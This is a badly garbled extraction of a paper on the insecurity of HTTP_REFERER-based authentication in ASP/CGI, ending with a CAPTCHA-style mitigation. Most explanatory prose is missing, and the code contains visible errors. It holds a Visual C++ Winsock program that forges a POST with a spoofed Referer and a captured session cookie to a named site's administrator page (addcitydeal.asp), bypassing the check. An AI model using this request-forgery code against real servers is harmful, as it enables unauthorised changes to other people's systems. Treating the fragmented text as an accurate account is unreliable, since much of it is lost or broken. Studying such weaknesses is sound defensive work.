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Security Analysis of Authentication Based on Environment Variable
in CGI Mode
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Abstract This paper describes the security trouble of authentication algorithm based on environment variable in CGI mode and points out it’s

caused by excessively trust the environment variable of server. Moreover, this paper also introduces a replaced algorithm based on validation of

random image code with irregular background in client.
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““HTTP_REFERER>~
2.1 HTTP_REFERER

Private Function CheckPostOutside()
Dim server_v1,server_v2
CheckPostOutside=False
' A HTTP_REFERER
A URL http://www.uokoo.com/home/index.html
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
'SERVER_NAME
www.uokoo.com
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
' server_vl 8 len(server_v2)
server_v2 A
If Mid(server_v1,8,len(server_v2))<>server_v2 Then
CheckPostOutside=True

End If
End Function
2.2
HTTP_REFERER
HTTP_REFERER (
A 0
www.uokoo.com IP  211.90.124.3
/new/administrator/ addcity.asp  addcitydeal.asp
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( Visual Sniffer )
addcitydeal.asp
if CheckPostOutside() then
response.redirect "addcity.asp”
end if
Visual Sniffer
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3 Web Web
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““Referer””
addcitydeal.asp

““Referer””

2.3
VC++ Winsock API

char ip[50]="211.90.124.3"; // Web IP

USHORT port=80; // Socket 80

char value[1024]=

{"txtcityname=wuxi&txtcitynamespell=WU X I &txtcityorder=3&ra
discommand=0&radcitystatus=0&selcityprov=10"};

1 post

SOCKET sock;

struct sockaddr_in sin;

char sendbuf[1024*15]={0};

I* sockaddr_in */
sin.sin_family=AF_INET;
if(inet_addr(ip)!=INADDR_NONE)

sin.sin_addr.s_addr=inet_addr(ip);
sin.sin_port=htons(port);
/*
*/

char tempbuf[1024]={0};

strcat(sendbuf,"POST /new/administrator/addcitydeal.asp HTTP/
1.1\n");

strcat(sendbuf,"Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*\n");

1 Referer

strcat(sendbuf,"Referer:

http://www.uokoo.com/new/administrator/addcity.asp\n");

strcat(sendbuf,"Accept-Language: zh-cn\n");

strcat(sendbuf,"Content-Type:application/x-www-form-urlencoded
\n");

strcat(sendbuf," Accept-Encoding: gzip, deflate\n");

strcat(sendbuf,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1)\n");

strcat(sendbuf,"Host: www.uokoo.com\n");

memset(tempbuf,0,sizeof(tempbuf));

sprintf(tempbuf,"Content-Length: %d\n" strlen(value));

strcat(sendbuf,tempbuf);

strcat(sendbuf,"Connection: Keep-Alive\n");

strcat(sendbuf,"Cache-Control: no-cache\n");

strcat(sendbuf,"Cookie:
UKWEBOL=CurrentCitylD=12&BaseCity|D=12;
ASPSESSIONIDSARARSCB=
BAODFGAAAFOHFEOHPBBGCPID\n");

strcat(sendbuf,"\n");

strcat(sendbuf,value);

I* */
CreateThread(NULL,0,senddata,&i,0,NULL);
DWORD WINAPI senddata(LPVOID Ip)
{/l socket sock
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
int ret;
1 Socket

ret=connect(sock,(struct sockaddr*)&sin,sizeof(sin));

i sendbuf “\0” 1

ret=send(sock,sendbuf,strlen(sendbuf)+1,0);
if(ret>0)

printf("Send success!\n");
else

printf("Send failue!\n");
char recvbuf[1024*10]={0};
ret=recv(sock,recvbuf,sizeof(recvbuf),0);
if(strstr(recvbuf,"100")||strstr(recvbuf,"200"))

printf(" \n");
else
printf(" \n");
closesocket(sock);
return 1,
}
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4 Winsock

“wuxi”
Winsock
addcitydeal.asp

strHexImage(0,0)
"LT28"
(2)intRandNum = CiInt(Rnd * UBound(strHexImage))
0 240
(3)Session("strSecurityCode")=strHexImage(intRandNum,
1)  strHexImage(intRandNum,1)
Session

"47 49 46 38 39 ...";strHexlmage(0,1) =

(4)sarryHex=split(strHexImage(intRandNum,0), " ")
sarryHex
(5) Response.BinaryWrite sarryHex

For i = 0 to CLng(UBound(sarryHex))

addcity.asp Response.BinaryWrite ChrB(CLng("&H" & sarryHex(i)))
Next
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